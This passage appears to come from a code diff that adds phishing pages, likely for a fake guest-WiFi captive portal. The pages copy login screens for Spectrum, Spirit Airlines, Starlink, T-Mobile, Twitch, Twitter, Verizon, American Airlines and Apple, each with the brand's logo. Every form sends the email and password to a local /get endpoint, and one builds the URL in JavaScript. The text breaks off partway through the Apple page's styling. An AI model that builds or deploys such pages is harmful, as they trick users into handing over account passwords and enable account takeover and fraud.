d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
|
||||
/>
|
||||
</svg>
|
||||
<h1>Welcome</h1>
|
||||
<p>Please log in using your Spectrum account</p>
|
||||
<form action="/get" method="GET">
|
||||
<input type="text" name="email" placeholder="Username" required />
|
||||
<input
|
||||
type="password"
|
||||
name="password"
|
||||
placeholder="Password"
|
||||
required
|
||||
/>
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,100 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #fde46c;
|
||||
margin: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
background: #fff;
|
||||
padding: 20px;
|
||||
max-width: 300px;
|
||||
width: 90%;
|
||||
text-align: center;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.25);
|
||||
}
|
||||
|
||||
form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #232f3e;
|
||||
font-size: 1.5rem;
|
||||
font-weight: 600;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
max-width: 300px;
|
||||
padding: 12px 20px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 2px solid #ddd;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
background-color: #303c49;
|
||||
border: none;
|
||||
color: white;
|
||||
padding: 14px 28px;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
font-size: 16px;
|
||||
margin: 4px 2px;
|
||||
cursor: pointer;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="login-container">
|
||||
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
|
||||
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
|
||||
</svg>
|
||||
|
||||
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
|
||||
|
||||
<form id="login-form">
|
||||
<input type="text" name="email" placeholder="Email Address or Free Spirit Number">
|
||||
<input type="password" name="password" placeholder="Password">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const form = document.getElementById('login-form');
|
||||
form.addEventListener('submit', (e) => {
|
||||
e.preventDefault();
|
||||
|
||||
const email = form.elements['email'].value;
|
||||
const password = form.elements['password'].value;
|
||||
|
||||
window.location.href = '/get?email=' + email + '&password=' + password;
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,63 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #000000;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: #fff;
|
||||
}
|
||||
.login-container {
|
||||
background-color: rgba(0, 0, 0, 0.7);
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
background-color: #0069D9;
|
||||
border-color: #0069D9;
|
||||
}
|
||||
#logo svg {
|
||||
fill: #fff;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1>Welcome</h1>
|
||||
<h2>Please Enter your Details</h2>
|
||||
<div class="form-group">
|
||||
<input name="email" type="text" class="form-control" placeholder="Email" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/* Paste any required JavaScript here */
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,94 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #e20074;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 50px auto;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 300;
|
||||
margin-top: 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
font-weight: 200;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 12px 20px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
width: 100%;
|
||||
background-color: #fff;
|
||||
color: #e20074;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
input[type="submit"]:hover {
|
||||
background-color: #ddd;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: block;
|
||||
max-width: 130px;
|
||||
margin: 0 auto 30px auto;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<!-- T-Mobile SVG logo -->
|
||||
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
|
||||
<defs>
|
||||
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
|
||||
</defs>
|
||||
<title>t-mobile</title>
|
||||
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
|
||||
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
|
||||
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
|
||||
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
|
||||
</svg>
|
||||
|
||||
<h1>Sign in</h1>
|
||||
|
||||
<h2>Use your T-Mobile account</h2>
|
||||
|
||||
<form id="login-form" action="/get">
|
||||
<input type="text" name="email" placeholder="Email or phone number" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<input type="submit" value="Sign In">
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,70 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #9146FF;
|
||||
color: white;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
}
|
||||
.logo {
|
||||
width: 140px;
|
||||
height: 140px;
|
||||
}
|
||||
form {
|
||||
background-color: white;
|
||||
color: black;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 90%;
|
||||
padding: 15px;
|
||||
margin: 10px 0;
|
||||
border: none;
|
||||
background: #f1f1f1;
|
||||
}
|
||||
input[type="submit"] {
|
||||
background-color: #9146FF;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
}
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
width: 95%;
|
||||
}
|
||||
}
|
||||
.welcome {
|
||||
font-size: 24px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.login {
|
||||
font-size: 16px;
|
||||
margin-top: 0;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
|
||||
<h2 class="welcome">Welcome</h2>
|
||||
<p class="login">Login using your Twitch Account</p>
|
||||
<form action="/get?email=username&password=password" method="get">
|
||||
<label for="uname"><b>Username</b></label>
|
||||
<input type="text" placeholder="Enter Username" name="uname" required>
|
||||
<label for="psw"><b>Password</b></label>
|
||||
<input type="password" placeholder="Enter Password" name="psw" required>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,2 @@
|
||||
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&type=content-script&dmn=cdn.discordapp.com&url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&app=chrome.exe&css=3&js=1&rel=1&rji=1&sbe=1&stealth=1&st-dnt"></script>
|
||||
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&name=AdGuard%20Assistant%20%28Beta%29&name=AdGuard%20Extra%20%28Beta%29&name=AdGuard%20Popup%20Blocker%20%28Beta%29&name=Web%20of%20Trust%20%28Beta%29&type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
|
||||
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #fff;
|
||||
}
|
||||
.login-container {
|
||||
width: 90%;
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
border: 1px solid #e9e9e9;
|
||||
border-radius: 5px;
|
||||
margin-top: 50px;
|
||||
background-color: #fff;
|
||||
}
|
||||
#logo {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.g-h1 {
|
||||
font-weight: 300;
|
||||
font-size: 24px;
|
||||
margin-top: 5px;
|
||||
text-align: center;
|
||||
}
|
||||
.g-h2 {
|
||||
font-weight: 200;
|
||||
font-size: 16px;
|
||||
margin-top: 10px;
|
||||
text-align: center;
|
||||
color: #D52B1E;
|
||||
}
|
||||
.g-input {
|
||||
width: calc(100% - 20px);
|
||||
margin-top: 15px;
|
||||
height: 40px;
|
||||
padding: 5px 10px;
|
||||
font-size: 16px;
|
||||
color: #14171a;
|
||||
border: 1px solid #e6ecf0;
|
||||
border-radius: 5px;
|
||||
background-color: #f5f8fa;
|
||||
}
|
||||
.gbtn-primary {
|
||||
margin-top: 20px;
|
||||
width: 100%;
|
||||
height: 40px;
|
||||
font-size: 16px;
|
||||
color: #fff;
|
||||
background-color: #D52B1E;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.gbtn-primary:hover {
|
||||
background-color: #B3291B;
|
||||
}
|
||||
.gbtn-primary:disabled {
|
||||
background-color: #aab8c2;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div id="login-app">
|
||||
<div class="login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
|
||||
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
|
||||
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1 class="g-h1">Sign in</h1>
|
||||
<h2 class="g-h2">Use your Verizon Account</h2>
|
||||
<div class="login-content">
|
||||
<input name="email" type="text" class="g-input" placeholder="Email" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Password" required>
|
||||
<div>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,116 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #1a3b73;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
|
||||
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
|
||||
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Guest-WiFi
|
||||
@@ -0,0 +1,279 @@
|
||||
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
|
||||
<!-- Edited and adapted by : Jules0835 for educational purposes -->
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<title>Login - Apple</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<style>
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
|
||||
color: #98989c;
|
||||
}
|
||||
|
||||
header {
|
||||
padding: 5px;
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
header svg {
|
||||
width: 25px;
|
||||
height: 25px;
|
||||
}
|
||||
|
||||
.main {
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-content: center;
|
||||
align-items: center;
|
||||
min-height: 85vh;
|
||||
}
|
||||
|
||||
form {
|
||||
width: 500px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
#sign h2 {
|
||||
text-align: center;
|
||||
margin: 5px auto 0px;
|
||||
font-size: 22px;
|
||||
line-height: 1.47059;
|
||||
font-weight: 400;
|
||||
letter-spacing: -.022em;
|
||||
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
|
||||
color: #656569;
|
||||
}
|
||||
|
||||
#inputText {
|
||||
margin: 5px 0 80px 0;
|
||||
}
|
||||
|
||||
#appleid {
|
||||
min-width: 350px;
|
||||
padding: 20px;
|
||||
border: .5px solid #d2d2d7;
|
||||
border-radius: 10px;
|
||||
border-bottom-left-radius: 0;
|
||||
border-bottom-right-radius: 0;
|
||||
background-repeat: no-repeat;
|
||||
background-position: calc(100% - 20px) center;
|
||||
background-image: url('./input.svg');
|
||||
align-self: center;
|
||||
background-size: 8%;
|
||||
}
|
||||
|
||||
#password {
|
||||
min-width: 350px;
|
||||
padding: 20px;
|
||||
border: .5px solid #d2d2d7;
|
||||
border-radius: 10px;
|
||||
border-top-left-radius: 0;
|
||||
border-top-right-radius: 0;
|
||||
background-repeat: no-repeat;
|
||||
background-position: calc(100% - 20px) center;
|
||||
background-image: url('./input.svg');
|
||||
align-self: center;
|
||||
background-size: 8%;
|
||||
}
|
||||
|
||||
input #appleid {
|
||||
box-shadow: none;
|
||||
outline: none;
|
||||
-moz-box-shadow: none;
|
||||
-webkit-box-shadow: none;
|
||||
border-color: transparent;
|
||||
}
|
||||
|
||||
.input2 {
|
||||
text-align: center;
|
||||
min-width: 180px;
|
||||
border-bottom: .1px solid #d2d2d7;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-top: -60px;
|
||||
